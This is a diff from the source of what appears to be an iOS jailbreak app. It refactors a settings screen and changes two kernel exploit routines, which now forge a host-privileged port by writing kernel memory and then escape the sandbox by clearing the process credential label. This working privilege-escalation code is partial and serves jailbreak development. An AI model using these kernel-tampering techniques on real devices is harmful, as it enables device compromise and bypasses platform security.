bool enable_mapping_for_libraries(const char *libs);
|
||||
|
||||
#endif /* kutils_h */
|
||||
|
||||
@@ -39,6 +39,8 @@
|
||||
@property (weak, nonatomic) IBOutlet UISwitch *SSHOnlySwitch;
|
||||
@property (weak, nonatomic) IBOutlet UISwitch *EnableGetTaskAllowSwitch;
|
||||
@property (weak, nonatomic) IBOutlet UISwitch *SetCSDebuggedSwitch;
|
||||
@property (weak, nonatomic) IBOutlet UISwitch *AutoRespringSwitch;
|
||||
@property (weak, nonatomic) IBOutlet UISwitch *HideProgressHUDSwitch;
|
||||
|
||||
+ (NSDictionary *)provisioningProfileAtPath:(NSString *)path;
|
||||
|
||||
|
||||
@@ -29,12 +29,12 @@
|
||||
// https://github.com/Matchstic/ReProvision/blob/7b595c699335940f68702bb204c5aa55b8b1896f/Shared/Application%20Database/RPVApplication.m#L102
|
||||
|
||||
+ (NSDictionary *)provisioningProfileAtPath:(NSString *)path {
|
||||
auto stringContent = [NSString stringWithContentsOfFile:path encoding:NSASCIIStringEncoding error:nil];
|
||||
NSString *stringContent = [NSString stringWithContentsOfFile:path encoding:NSASCIIStringEncoding error:nil];
|
||||
stringContent = [stringContent componentsSeparatedByString:@"<plist version=\"1.0\">"][1];
|
||||
stringContent = [NSString stringWithFormat:@"%@%@", @"<plist version=\"1.0\">", stringContent];
|
||||
stringContent = [stringContent componentsSeparatedByString:@"</plist>"][0];
|
||||
stringContent = [NSString stringWithFormat:@"%@%@", stringContent, @"</plist>"];
|
||||
auto const stringData = [stringContent dataUsingEncoding:NSASCIIStringEncoding];
|
||||
NSData *const stringData = [stringContent dataUsingEncoding:NSASCIIStringEncoding];
|
||||
id const plist = [NSPropertyListSerialization propertyListWithData:stringData options:NSPropertyListImmutable format:nil error:nil];
|
||||
return plist;
|
||||
}
|
||||
@@ -46,10 +46,10 @@
|
||||
|
||||
- (void)viewDidLoad {
|
||||
[super viewDidLoad];
|
||||
auto const myImageView = [[UIImageView alloc] initWithImage:[UIImage imageNamed:@"Clouds"]];
|
||||
UIImageView *const myImageView = [[UIImageView alloc] initWithImage:[UIImage imageNamed:@"Clouds"]];
|
||||
[myImageView setContentMode:UIViewContentModeScaleAspectFill];
|
||||
[myImageView setFrame:self.tableView.frame];
|
||||
auto const myView = [[UIView alloc] initWithFrame:myImageView.frame];
|
||||
UIView *const myView = [[UIView alloc] initWithFrame:myImageView.frame];
|
||||
[myView setBackgroundColor:[UIColor whiteColor]];
|
||||
[myView setAlpha:0.84];
|
||||
[myView setAutoresizingMask:UIViewAutoresizingFlexibleWidth | UIViewAutoresizingFlexibleHeight];
|
||||
@@ -72,7 +72,7 @@
|
||||
}
|
||||
|
||||
- (void)reloadData {
|
||||
auto prefs = copy_prefs();
|
||||
prefs_t *prefs = copy_prefs();
|
||||
[self.TweakInjectionSwitch setOn:(BOOL)prefs->load_tweaks];
|
||||
[self.LoadDaemonsSwitch setOn:(BOOL)prefs->load_daemons];
|
||||
[self.DumpAPTicketSwitch setOn:(BOOL)prefs->dump_apticket];
|
||||
@@ -88,7 +88,7 @@
|
||||
[self.KernelExploitSegmentedControl setEnabled:supportsExploit(voucher_swap_exploit) forSegmentAtIndex:voucher_swap_exploit];
|
||||
[self.KernelExploitSegmentedControl setEnabled:supportsExploit(mach_swap_exploit) forSegmentAtIndex:mach_swap_exploit];
|
||||
[self.KernelExploitSegmentedControl setEnabled:supportsExploit(mach_swap_2_exploit) forSegmentAtIndex:mach_swap_2_exploit];
|
||||
[self.OpenCydiaButton setEnabled:[[UIApplication sharedApplication] canOpenURL:[NSURL URLWithString:@"cydia://"]]];
|
||||
[self.OpenCydiaButton setEnabled:(BOOL)cydiaIsInstalled()];
|
||||
[self.ExpiryLabel setPlaceholder:[NSString stringWithFormat:@"%d %@", (int)[[SettingsTableViewController provisioningProfileAtPath:[[NSBundle mainBundle] pathForResource:@"embedded" ofType:@"mobileprovision"]][@"ExpirationDate"] timeIntervalSinceDate:[NSDate date]] / 86400, localize(@"Days")]];
|
||||
[self.OverwriteBootNonceSwitch setOn:(BOOL)prefs->overwrite_boot_nonce];
|
||||
[self.ExportKernelTaskPortSwitch setOn:(BOOL)prefs->export_kernel_task_port];
|
||||
@@ -97,13 +97,15 @@
|
||||
[self.IncreaseMemoryLimitSwitch setOn:(BOOL)prefs->increase_memory_limit];
|
||||
[self.installSSHSwitch setOn:(BOOL)prefs->install_openssh];
|
||||
[self.installCydiaSwitch setOn:(BOOL)prefs->install_cydia];
|
||||
[self.ECIDLabel setPlaceholder:hexFromInt([@(prefs->ecid) integerValue])];
|
||||
if (prefs->ecid) [self.ECIDLabel setPlaceholder:hexFromInt([@(prefs->ecid) integerValue])];
|
||||
[self.ReloadSystemDaemonsSwitch setOn:(BOOL)prefs->reload_system_daemons];
|
||||
[self.HideLogWindowSwitch setOn:(BOOL)prefs->hide_log_window];
|
||||
[self.ResetCydiaCacheSwitch setOn:(BOOL)prefs->reset_cydia_cache];
|
||||
[self.SSHOnlySwitch setOn:(BOOL)prefs->ssh_only];
|
||||
[self.EnableGetTaskAllowSwitch setOn:(BOOL)prefs->enable_get_task_allow];
|
||||
[self.SetCSDebuggedSwitch setOn:(BOOL)prefs->set_cs_debugged];
|
||||
[self.AutoRespringSwitch setOn:(BOOL)prefs->auto_respring];
|
||||
[self.HideProgressHUDSwitch setOn:(BOOL)prefs->hide_progress_hud];
|
||||
[self.RestartSpringBoardButton setEnabled:respringSupported()];
|
||||
[self.restartButton setEnabled:restartSupported()];
|
||||
release_prefs(&prefs);
|
||||
@@ -111,7 +113,7 @@
|
||||
}
|
||||
|
||||
- (IBAction)TweakInjectionSwitchTriggered:(id)sender {
|
||||
auto prefs = copy_prefs();
|
||||
prefs_t *prefs = copy_prefs();
|
||||
prefs->load_tweaks = (bool)self.TweakInjectionSwitch.isOn;
|
||||
set_prefs(prefs);
|
||||
release_prefs(&prefs);
|
||||
@@ -119,7 +121,7 @@
|
||||
}
|
||||
|
||||
- (IBAction)LoadDaemonsSwitchTriggered:(id)sender {
|
||||
auto prefs = copy_prefs();
|
||||
prefs_t *prefs = copy_prefs();
|
||||
prefs->load_daemons = (bool)self.LoadDaemonsSwitch.isOn;
|
||||
set_prefs(prefs);
|
||||
release_prefs(&prefs);
|
||||
@@ -127,7 +129,7 @@
|
||||
}
|
||||
|
||||
- (IBAction)DumpAPTicketSwitchTriggered:(id)sender {
|
||||
auto prefs = copy_prefs();
|
||||
prefs_t *prefs = copy_prefs();
|
||||
prefs->dump_apticket = (bool)self.DumpAPTicketSwitch.isOn;
|
||||
set_prefs(prefs);
|
||||
release_prefs(&prefs);
|
||||
@@ -135,15 +137,15 @@
|
||||
}
|
||||
|
||||
- (IBAction)BootNonceTextFieldTriggered:(id)sender {
|
||||
auto val = (uint64_t)0;
|
||||
uint64_t val = 0;
|
||||
if ([[NSScanner scannerWithString:[self.BootNonceTextField text]] scanHexLongLong:&val] && val != HUGE_VAL && val != -HUGE_VAL) {
|
||||
auto prefs = copy_prefs();
|
||||
prefs_t *prefs = copy_prefs();
|
||||
prefs->boot_nonce = [NSString stringWithFormat:@ADDR, val].UTF8String;
|
||||
set_prefs(prefs);
|
||||
release_prefs(&prefs);
|
||||
} else {
|
||||
auto const alertController = [UIAlertController alertControllerWithTitle:localize(@"Invalid Entry") message:localize(@"The boot nonce entered could not be parsed") preferredStyle:UIAlertControllerStyleAlert];
|
||||
auto const OK = [UIAlertAction actionWithTitle:localize(@"OK") style:UIAlertActionStyleDefault handler:nil];
|
||||
UIAlertController *const alertController = [UIAlertController alertControllerWithTitle:localize(@"Invalid Entry") message:localize(@"The boot nonce entered could not be parsed") preferredStyle:UIAlertControllerStyleAlert];
|
||||
UIAlertAction *const OK = [UIAlertAction actionWithTitle:localize(@"OK") style:UIAlertActionStyleDefault handler:nil];
|
||||
[alertController addAction:OK];
|
||||
[self presentViewController:alertController animated:YES completion:nil];
|
||||
}
|
||||
@@ -151,7 +153,7 @@
|
||||
}
|
||||
|
||||
- (IBAction)RefreshIconCacheSwitchTriggered:(id)sender {
|
||||
auto prefs = copy_prefs();
|
||||
prefs_t *prefs = copy_prefs();
|
||||
prefs->run_uicache = (bool)self.RefreshIconCacheSwitch.isOn;
|
||||
set_prefs(prefs);
|
||||
release_prefs(&prefs);
|
||||
@@ -159,7 +161,7 @@
|
||||
}
|
||||
|
||||
- (IBAction)KernelExploitSegmentedControl:(id)sender {
|
||||
auto prefs = copy_prefs();
|
||||
prefs_t *prefs = copy_prefs();
|
||||
prefs->exploit = (int)self.KernelExploitSegmentedControl.selectedSegmentIndex;
|
||||
set_prefs(prefs);
|
||||
release_prefs(&prefs);
|
||||
@@ -167,7 +169,7 @@
|
||||
}
|
||||
|
||||
- (IBAction)DisableAppRevokesSwitchTriggered:(id)sender {
|
||||
auto prefs = copy_prefs();
|
||||
prefs_t *prefs = copy_prefs();
|
||||
prefs->disable_app_revokes = (bool)self.DisableAppRevokesSwitch.isOn;
|
||||
set_prefs(prefs);
|
||||
release_prefs(&prefs);
|
||||
@@ -175,9 +177,9 @@
|
||||
}
|
||||
|
||||
- (IBAction)tappedOnRestart:(id)sender {
|
||||
auto const block = ^(void) {
|
||||
void (^const block)(void) = ^(void) {
|
||||
notice(localize(@"The device will be restarted."), true, false);
|
||||
auto const support = recommendedRestartSupport();
|
||||
NSInteger const support = recommendedRestartSupport();
|
||||
switch (support) {
|
||||
case necp_exploit: {
|
||||
necp_die();
|
||||
@@ -200,7 +202,7 @@
|
||||
}
|
||||
|
||||
- (IBAction)DisableAutoUpdatesSwitchTriggered:(id)sender {
|
||||
auto prefs = copy_prefs();
|
||||
prefs_t *prefs = copy_prefs();
|
||||
prefs->disable_auto_updates = (bool)self.DisableAutoUpdatesSwitch.isOn;
|
||||
set_prefs(prefs);
|
||||
release_prefs(&prefs);
|
||||
@@ -208,9 +210,9 @@
|
||||
}
|
||||
|
||||
- (IBAction)tappedOnShareDiagnosticsData:(id)sender {
|
||||
auto const URL = [NSURL fileURLWithPath:[NSString stringWithFormat:@"%@/Documents/diagnostics.plist", NSHomeDirectory()]];
|
||||
NSURL *const URL = [NSURL fileURLWithPath:[NSString stringWithFormat:@"%@/Documents/diagnostics.plist", NSHomeDirectory()]];
|
||||
[getDiagnostics() writeToURL:URL error:nil];
|
||||
auto const activityViewController = [[UIActivityViewController alloc] initWithActivityItems:@[URL] applicationActivities:nil];
|
||||
UIActivityViewController *const activityViewController = [[UIActivityViewController alloc] initWithActivityItems:@[URL] applicationActivities:nil];
|
||||
if ([activityViewController respondsToSelector:@selector(popoverPresentationController)]) {
|
||||
[[activityViewController popoverPresentationController] setSourceView:self.ShareDiagnosticsDataButton];
|
||||
}
|
||||
@@ -226,7 +228,7 @@
|
||||
}
|
||||
|
||||
- (IBAction)OverwriteBootNonceSwitchTriggered:(id)sender {
|
||||
auto prefs = copy_prefs();
|
||||
prefs_t *prefs = copy_prefs();
|
||||
prefs->overwrite_boot_nonce = (bool)self.OverwriteBootNonceSwitch.isOn;
|
||||
set_prefs(prefs);
|
||||
release_prefs(&prefs);
|
||||
@@ -234,34 +236,34 @@
|
||||
}
|
||||
|
||||
- (IBAction)tappedOnCopyNonce:(id)sender{
|
||||
auto const copyBootNonceAlert = [UIAlertController alertControllerWithTitle:localize(@"Copy boot nonce?") message:localize(@"Would you like to copy nonce generator to clipboard?") preferredStyle:UIAlertControllerStyleAlert];
|
||||
auto const copyAction = [UIAlertAction actionWithTitle:localize(@"Yes") style:UIAlertActionStyleDefault handler:^(UIAlertAction * _Nonnull action) {
|
||||
auto prefs = copy_prefs();
|
||||
UIAlertController *const copyBootNonceAlert = [UIAlertController alertControllerWithTitle:localize(@"Copy boot nonce?") message:localize(@"Would you like to copy nonce generator to clipboard?") preferredStyle:UIAlertControllerStyleAlert];
|
||||
UIAlertAction *const copyAction = [UIAlertAction actionWithTitle:localize(@"Yes") style:UIAlertActionStyleDefault handler:^(UIAlertAction * _Nonnull action) {
|
||||
prefs_t *prefs = copy_prefs();
|
||||
[[UIPasteboard generalPasteboard] setString:@(prefs->boot_nonce)];
|
||||
release_prefs(&prefs);
|
||||
}];
|
||||
auto const noAction = [UIAlertAction actionWithTitle:localize(@"No") style:UIAlertActionStyleCancel handler:nil];
|
||||
UIAlertAction *const noAction = [UIAlertAction actionWithTitle:localize(@"No") style:UIAlertActionStyleCancel handler:nil];
|
||||
[copyBootNonceAlert addAction:copyAction];
|
||||
[copyBootNonceAlert addAction:noAction];
|
||||
[self presentViewController:copyBootNonceAlert animated:TRUE completion:nil];
|
||||
}
|
||||
|
||||
- (IBAction)tappedOnCopyECID:(id)sender {
|
||||
auto const copyBootNonceAlert = [UIAlertController alertControllerWithTitle:localize(@"Copy ECID?") message:localize(@"Would you like to ECID to clipboard?") preferredStyle:UIAlertControllerStyleAlert];
|
||||
auto const copyAction = [UIAlertAction actionWithTitle:localize(@"Yes") style:UIAlertActionStyleDefault handler:^(UIAlertAction * _Nonnull action) {
|
||||
auto prefs = copy_prefs();
|
||||
UIAlertController *const copyBootNonceAlert = [UIAlertController alertControllerWithTitle:localize(@"Copy ECID?") message:localize(@"Would you like to ECID to clipboard?") preferredStyle:UIAlertControllerStyleAlert];
|
||||
UIAlertAction *const copyAction = [UIAlertAction actionWithTitle:localize(@"Yes") style:UIAlertActionStyleDefault handler:^(UIAlertAction * _Nonnull action) {
|
||||
prefs_t *prefs = copy_prefs();
|
||||
[[UIPasteboard generalPasteboard] setString:hexFromInt(@(prefs->ecid).integerValue)];
|
||||
release_prefs(&prefs);
|
||||
}];
|
||||
auto const noAction = [UIAlertAction actionWithTitle:localize(@"No") style:UIAlertActionStyleCancel handler:nil];
|
||||
UIAlertAction *const noAction = [UIAlertAction actionWithTitle:localize(@"No") style:UIAlertActionStyleCancel handler:nil];
|
||||
[copyBootNonceAlert addAction:copyAction];
|
||||
[copyBootNonceAlert addAction:noAction];
|
||||
[self presentViewController:copyBootNonceAlert animated:TRUE completion:nil];
|
||||
}
|
||||
|
||||
- (IBAction)tappedOnCheckForUpdate:(id)sender {
|
||||
auto const block = ^(void) {
|
||||
auto const update = [NSString stringWithContentsOfURL:[NSURL URLWithString:@"https://github.com/pwn20wndstuff/Undecimus/raw/master/Update.txt"] encoding:NSUTF8StringEncoding error:nil];
|
||||
void (^const block)(void) = ^(void) {
|
||||
NSString *const update = [NSString stringWithContentsOfURL:[NSURL URLWithString:@"https://github.com/pwn20wndstuff/Undecimus/raw/master/Update.txt"] encoding:NSUTF8StringEncoding error:nil];
|
||||
if (update == nil) {
|
||||
notice(localize(@"Failed to check for update."), true, false);
|
||||
} else if ([update compare:appVersion() options:NSNumericSearch] == NSOrderedDescending) {
|
||||
@@ -274,7 +276,7 @@
|
||||
}
|
||||
|
||||
- (IBAction)exportKernelTaskPortSwitchTriggered:(id)sender {
|
||||
auto prefs = copy_prefs();
|
||||
prefs_t *prefs = copy_prefs();
|
||||
prefs->export_kernel_task_port = (bool)self.ExportKernelTaskPortSwitch.isOn;
|
||||
set_prefs(prefs);
|
||||
release_prefs(&prefs);
|
||||
@@ -282,7 +284,7 @@
|
||||
}
|
||||
|
||||
- (IBAction)RestoreRootFSSwitchTriggered:(id)sender {
|
||||
auto prefs = copy_prefs();
|
||||
prefs_t *prefs = copy_prefs();
|
||||
prefs->restore_rootfs = (bool)self.RestoreRootFSSwitch.isOn;
|
||||
set_prefs(prefs);
|
||||
release_prefs(&prefs);
|
||||
@@ -290,7 +292,7 @@
|
||||
}
|
||||
|
||||
- (IBAction)installCydiaSwitchTriggered:(id)sender {
|
||||
auto prefs = copy_prefs();
|
||||
prefs_t *prefs = copy_prefs();
|
||||
prefs->install_cydia = (bool)self.installCydiaSwitch.isOn;
|
||||
set_prefs(prefs);
|
||||
release_prefs(&prefs);
|
||||
@@ -298,7 +300,7 @@
|
||||
}
|
||||
|
||||
- (IBAction)installSSHSwitchTriggered:(id)sender {
|
||||
auto prefs = copy_prefs();
|
||||
prefs_t *prefs = copy_prefs();
|
||||
prefs->install_openssh = (bool)self.installSSHSwitch.isOn;
|
||||
set_prefs(prefs);
|
||||
release_prefs(&prefs);
|
||||
@@ -311,7 +313,7 @@
|
||||
}
|
||||
|
||||
- (IBAction)IncreaseMemoryLimitSwitch:(id)sender {
|
||||
auto prefs = copy_prefs();
|
||||
prefs_t *prefs = copy_prefs();
|
||||
prefs->increase_memory_limit = (bool)self.IncreaseMemoryLimitSwitch.isOn;
|
||||
set_prefs(prefs);
|
||||
release_prefs(&prefs);
|
||||
@@ -319,7 +321,7 @@
|
||||
}
|
||||
|
||||
- (IBAction)tappedOnAutomaticallySelectExploit:(id)sender {
|
||||
auto prefs = copy_prefs();
|
||||
prefs_t *prefs = copy_prefs();
|
||||
prefs->exploit = (int)recommendedJailbreakSupport();
|
||||
set_prefs(prefs);
|
||||
release_prefs(&prefs);
|
||||
@@ -327,7 +329,7 @@
|
||||
}
|
||||
|
||||
- (IBAction)reloadSystemDaemonsSwitchTriggered:(id)sender {
|
||||
auto prefs = copy_prefs();
|
||||
prefs_t *prefs = copy_prefs();
|
||||
prefs->reload_system_daemons = (bool)self.ReloadSystemDaemonsSwitch.isOn;
|
||||
set_prefs(prefs);
|
||||
release_prefs(&prefs);
|
||||
@@ -335,12 +337,12 @@
|
||||
}
|
||||
|
||||
- (IBAction)tappedRestartSpringBoard:(id)sender {
|
||||
auto const block = ^(void) {
|
||||
void (^const block)(void) = ^(void) {
|
||||
notice(localize(@"SpringBoard will be restarted."), true, false);
|
||||
auto const support = recommendedRespringSupport();
|
||||
NSInteger const support = recommendedRespringSupport();
|
||||
switch (support) {
|
||||
case deja_xnu_exploit: {
|
||||
auto const bb_tp = hid_event_queue_exploit();
|
||||
mach_port_t const bb_tp = hid_event_queue_exploit();
|
||||
_assert(MACH_PORT_VALID(bb_tp), localize(@"Unable to get task port for backboardd."), true);
|
||||
_assert(thread_call_remote(bb_tp, exit, 1, REMOTE_LITERAL(EXIT_SUCCESS)) == ERR_SUCCESS, localize(@"Unable to make backboardd exit."), true);
|
||||
break;
|
||||
@@ -359,12 +361,12 @@
|
||||
}
|
||||
|
||||
- (IBAction)hideLogWindowSwitchTriggered:(id)sender {
|
||||
auto prefs = copy_prefs();
|
||||
prefs_t *prefs = copy_prefs();
|
||||
prefs->hide_log_window = (bool)self.HideLogWindowSwitch.isOn;
|
||||
set_prefs(prefs);
|
||||
release_prefs(&prefs);
|
||||
[self reloadData];
|
||||
auto const block = ^(void) {
|
||||
void (^const block)(void) = ^(void) {
|
||||
notice(localize(@"Preference was changed. The app will now exit."), true, false);
|
||||
exit(EXIT_SUCCESS);
|
||||
};
|
||||
@@ -372,7 +374,7 @@
|
||||
}
|
||||
|
||||
- (IBAction)resetCydiaCacheSwitchTriggered:(id)sender {
|
||||
auto prefs = copy_prefs();
|
||||
prefs_t *prefs = copy_prefs();
|
||||
prefs->reset_cydia_cache = (bool)self.ResetCydiaCacheSwitch.isOn;
|
||||
set_prefs(prefs);
|
||||
release_prefs(&prefs);
|
||||
@@ -380,7 +382,7 @@
|
||||
}
|
||||
|
||||
- (IBAction)sshOnlySwitchTriggered:(id)sender {
|
||||
auto prefs = copy_prefs();
|
||||
prefs_t *prefs = copy_prefs();
|
||||
prefs->ssh_only = (bool)self.SSHOnlySwitch.isOn;
|
||||
set_prefs(prefs);
|
||||
release_prefs(&prefs);
|
||||
@@ -388,7 +390,7 @@
|
||||
}
|
||||
|
||||
- (IBAction)enableGetTaskAllowSwitchTriggered:(id)sender {
|
||||
auto prefs = copy_prefs();
|
||||
prefs_t *prefs = copy_prefs();
|
||||
prefs->enable_get_task_allow = (bool)self.EnableGetTaskAllowSwitch.isOn;
|
||||
set_prefs(prefs);
|
||||
release_prefs(&prefs);
|
||||
@@ -396,15 +398,31 @@
|
||||
}
|
||||
|
||||
- (IBAction)setCSDebugged:(id)sender {
|
||||
auto prefs = copy_prefs();
|
||||
prefs_t *prefs = copy_prefs();
|
||||
prefs->set_cs_debugged = (bool)self.SetCSDebuggedSwitch.isOn;
|
||||
set_prefs(prefs);
|
||||
release_prefs(&prefs);
|
||||
[self reloadData];
|
||||
}
|
||||
|
||||
- (IBAction)setAutoRespring:(id)sender {
|
||||
prefs_t *prefs = copy_prefs();
|
||||
prefs->auto_respring = (bool)self.AutoRespringSwitch.isOn;
|
||||
set_prefs(prefs);
|
||||
release_prefs(&prefs);
|
||||
[self reloadData];
|
||||
}
|
||||
|
||||
- (IBAction)setHideProgressHUD:(id)sender {
|
||||
prefs_t *prefs = copy_prefs();
|
||||
prefs->hide_progress_hud = (bool)self.HideProgressHUDSwitch.isOn;
|
||||
set_prefs(prefs);
|
||||
release_prefs(&prefs);
|
||||
[self reloadData];
|
||||
}
|
||||
|
||||
- (IBAction)tappedOnResetAppPreferences:(id)sender {
|
||||
auto const block = ^(void) {
|
||||
void (^const block)(void) = ^(void) {
|
||||
reset_prefs();
|
||||
notice(localize(@"Preferences were reset. The app will now exit."), true, false);
|
||||
exit(EXIT_SUCCESS);
|
||||
@@ -412,6 +430,10 @@
|
||||
dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_HIGH, 0ul), block);
|
||||
}
|
||||
|
||||
- (CGFloat)tableView:(UITableView *)tableView heightForRowAtIndexPath:(NSIndexPath *)indexPath {
|
||||
return 44;
|
||||
}
|
||||
|
||||
- (void)didReceiveMemoryWarning {
|
||||
[super didReceiveMemoryWarning];
|
||||
// Dispose of any resources that can be recreated.
|
||||
|
||||
+307
-266
File diff suppressed because it is too large
Load Diff
@@ -625,6 +625,9 @@ extern uint64_t kernel_base;
|
||||
extern uint64_t kernel_slide;
|
||||
extern uint64_t ReadKernel64(uint64_t kaddr);
|
||||
extern void WriteKernel64(uint64_t kaddr, uint64_t val);
|
||||
extern uint32_t ReadKernel32(uint64_t kaddr);
|
||||
extern void WriteKernel32(uint64_t kaddr, uint32_t val);
|
||||
extern uint64_t cached_proc_struct_addr;
|
||||
|
||||
// ********** ********** ********** ye olde pwnage ********** ********** **********
|
||||
|
||||
@@ -647,13 +650,11 @@ kern_return_t machswap2_exploit(machswap_offsets_t *offsets)
|
||||
int total_pipes = 0;
|
||||
|
||||
host_t host = HOST_NULL;
|
||||
host_t original_host = HOST_NULL;
|
||||
thread_t thread = THREAD_NULL;
|
||||
|
||||
/********** ********** data hunting ********** **********/
|
||||
|
||||
host = mach_host_self();
|
||||
original_host = host;
|
||||
thread = mach_thread_self();
|
||||
vm_size_t pgsz = 0;
|
||||
ret = _host_page_size(host, &pgsz);
|
||||
@@ -1240,6 +1241,14 @@ value = value | ((uint64_t)read64_tmp << 32);\
|
||||
uint64_t itk_space = 0x0;
|
||||
rk64(port_addr + offsetof(kport_t, ip_receiver), itk_space);
|
||||
LOG("itk_space: 0x%llx", itk_space);
|
||||
|
||||
uint64_t is_table = 0x0;
|
||||
rk64(itk_space + 0x20, is_table);
|
||||
LOG("is_table: 0x%llx", is_table);
|
||||
|
||||
uint64_t host_port_addr = 0x0;
|
||||
rk64(is_table + (MACH_PORT_INDEX(host) * 0x18), host_port_addr);
|
||||
LOG("host_port_addr: 0x%llx", host_port_addr);
|
||||
|
||||
uint64_t ourtask = 0x0;
|
||||
rk64(itk_space + 0x28, ourtask); /* ipc_space->is_task */
|
||||
@@ -1379,6 +1388,7 @@ value = value | ((uint64_t)read64_tmp << 32);\
|
||||
goto out;
|
||||
}
|
||||
LOG("got ourproc: 0x%llx", ourproc);
|
||||
cached_proc_struct_addr = ourproc;
|
||||
|
||||
/* find kernproc by looping linked list */
|
||||
|
||||
@@ -1514,45 +1524,18 @@ value = value | ((uint64_t)read64_tmp << 32);\
|
||||
allows the kernel task port to be accessed by any root process
|
||||
*/
|
||||
WriteKernel64(realhost + 0x10 + (sizeof(uint64_t) * 4), kernel_port_buf);
|
||||
|
||||
/* eleveate creds to kernel */
|
||||
|
||||
uint64_t orig_ucred = ReadKernel64(ourproc + offsets->struct_offsets.proc_ucred);
|
||||
LOG("original ucred: 0x%llx", orig_ucred);
|
||||
|
||||
int orig_uid = getuid();
|
||||
|
||||
uint64_t kern_ucred = ReadKernel64(kernproc + offsets->struct_offsets.proc_ucred);
|
||||
WriteKernel64(ourproc + offsets->struct_offsets.proc_ucred, kern_ucred);
|
||||
uint32_t original_type = ReadKernel32(host_port_addr);
|
||||
WriteKernel32(host_port_addr, IO_BITS_ACTIVE | IKOT_HOST_PRIV);
|
||||
|
||||
LOG("setuid: %d, uid: %d", setuid(0), getuid());
|
||||
if (getuid() != 0)
|
||||
{
|
||||
LOG("failed to elevate to root/kernel creds!");
|
||||
ret = KERN_FAILURE;
|
||||
goto out;
|
||||
}
|
||||
|
||||
host = mach_host_self();
|
||||
mach_port_t hsp4;
|
||||
ret = host_get_special_port(host, HOST_LOCAL_NODE, 4, &hsp4);
|
||||
mach_port_deallocate(mach_host_self(), host);
|
||||
host = original_host;
|
||||
|
||||
/* de-elevate */
|
||||
|
||||
WriteKernel64(ourproc + offsets->struct_offsets.proc_ucred, orig_ucred);
|
||||
|
||||
LOG("setuid: %d, uid: %d", setuid(orig_uid), getuid());
|
||||
if (getuid() != orig_uid)
|
||||
{
|
||||
LOG("failed to de-elelvate to uid: %d", orig_uid);
|
||||
ret = KERN_FAILURE;
|
||||
goto out;
|
||||
}
|
||||
WriteKernel32(host_port_addr, original_type);
|
||||
|
||||
/* unsandbox */
|
||||
uint64_t cr_label = ReadKernel64(orig_ucred + 0x78);
|
||||
uint64_t ucred = ReadKernel64(ourproc + offsets->struct_offsets.proc_ucred);
|
||||
uint64_t cr_label = ReadKernel64(ucred + 0x78);
|
||||
WriteKernel64(cr_label + 0x10, 0);
|
||||
|
||||
if (ret != KERN_SUCCESS ||
|
||||
@@ -1613,7 +1596,6 @@ out:;
|
||||
if (MACH_PORT_VALID(host)) {
|
||||
mach_port_deallocate(mach_task_self(), host);
|
||||
host = HOST_NULL;
|
||||
original_host = HOST_NULL;
|
||||
}
|
||||
|
||||
if (MACH_PORT_VALID(thread)) {
|
||||
|
||||
@@ -341,6 +341,9 @@ extern uint64_t kernel_base;
|
||||
extern uint64_t kernel_slide;
|
||||
extern uint64_t ReadKernel64(uint64_t kaddr);
|
||||
extern void WriteKernel64(uint64_t kaddr, uint64_t val);
|
||||
extern uint32_t ReadKernel32(uint64_t kaddr);
|
||||
extern void WriteKernel32(uint64_t kaddr, uint32_t val);
|
||||
extern uint64_t cached_proc_struct_addr;
|
||||
|
||||
// ********** ********** ********** ye olde pwnage ********** ********** **********
|
||||
|
||||
@@ -355,13 +358,11 @@ kern_return_t machswap_exploit(machswap_offsets_t *offsets)
|
||||
mach_port_t after[0x1000] = { };
|
||||
|
||||
host_t host = HOST_NULL;
|
||||
host_t original_host = HOST_NULL;
|
||||
thread_t thread = THREAD_NULL;
|
||||
|
||||
/********** ********** data hunting ********** **********/
|
||||
|
||||
host = mach_host_self();
|
||||
original_host = host;
|
||||
thread = mach_thread_self();
|
||||
vm_size_t pgsz = 0;
|
||||
ret = _host_page_size(host, &pgsz);
|
||||
@@ -686,6 +687,24 @@ value = value | ((uint64_t)read64_tmp << 32)
|
||||
goto out;
|
||||
}
|
||||
LOG("itk_space: 0x%llx", itk_space);
|
||||
|
||||
uint64_t is_table = 0x0;
|
||||
rk64(itk_space + 0x20, is_table);
|
||||
if (is_table == 0x0) {
|
||||
LOG("failed to find is_table!");
|
||||
ret = KERN_FAILURE;
|
||||
goto out;
|
||||
}
|
||||
LOG("is_table: 0x%llx", is_table);
|
||||
|
||||
uint64_t host_port_addr = 0x0;
|
||||
rk64(is_table + (MACH_PORT_INDEX(host) * 0x18), host_port_addr);
|
||||
if (host_port_addr == 0x0) {
|
||||
LOG("failed to find host_port_addr!");
|
||||
ret = KERN_FAILURE;
|
||||
goto out;
|
||||
}
|
||||
LOG("host_port_addr: 0x%llx", host_port_addr);
|
||||
|
||||
uint64_t ourtask = 0x0;
|
||||
rk64(itk_space + 0x28, ourtask); /* ipc_space->is_task */
|
||||
@@ -831,6 +850,7 @@ value = value | ((uint64_t)read64_tmp << 32)
|
||||
uint64_t ourproc = 0x0;
|
||||
rk64(ourtask + offsets->struct_offsets.task_bsd_info, ourproc);
|
||||
LOG("got ourproc: 0x%llx", ourproc);
|
||||
cached_proc_struct_addr = ourproc;
|
||||
|
||||
/* find kernproc by looping linked list */
|
||||
|
||||
@@ -955,60 +975,18 @@ value = value | ((uint64_t)read64_tmp << 32)
|
||||
allows the kernel task port to be accessed by any root process
|
||||
*/
|
||||
WriteKernel64(realhost + 0x10 + (sizeof(uint64_t) * 4), kernel_port_buf);
|
||||
|
||||
/* eleveate creds to kernel */
|
||||
|
||||
int orig_uid = getuid();
|
||||
|
||||
uint64_t orig_ucred = ReadKernel64(ourproc + offsets->struct_offsets.proc_ucred);
|
||||
if (orig_ucred == 0x0)
|
||||
{
|
||||
LOG("failed to get orig_ucred!");
|
||||
ret = KERN_FAILURE;
|
||||
goto out;
|
||||
}
|
||||
LOG("orig_ucred: 0x%llx", orig_ucred);
|
||||
|
||||
uint64_t kern_ucred = ReadKernel64(kernproc + offsets->struct_offsets.proc_ucred);
|
||||
if (kern_ucred == 0x0)
|
||||
{
|
||||
LOG("failed to get kern_ucred!");
|
||||
ret = KERN_FAILURE;
|
||||
goto out;
|
||||
}
|
||||
LOG("kern_ucred: 0x%llx", kern_ucred);
|
||||
uint32_t original_type = ReadKernel32(host_port_addr);
|
||||
WriteKernel32(host_port_addr, IO_BITS_ACTIVE | IKOT_HOST_PRIV);
|
||||
|
||||
WriteKernel64(ourproc + offsets->struct_offsets.proc_ucred, kern_ucred);
|
||||
|
||||
LOG("setuid: %d, uid: %d", setuid(0), getuid());
|
||||
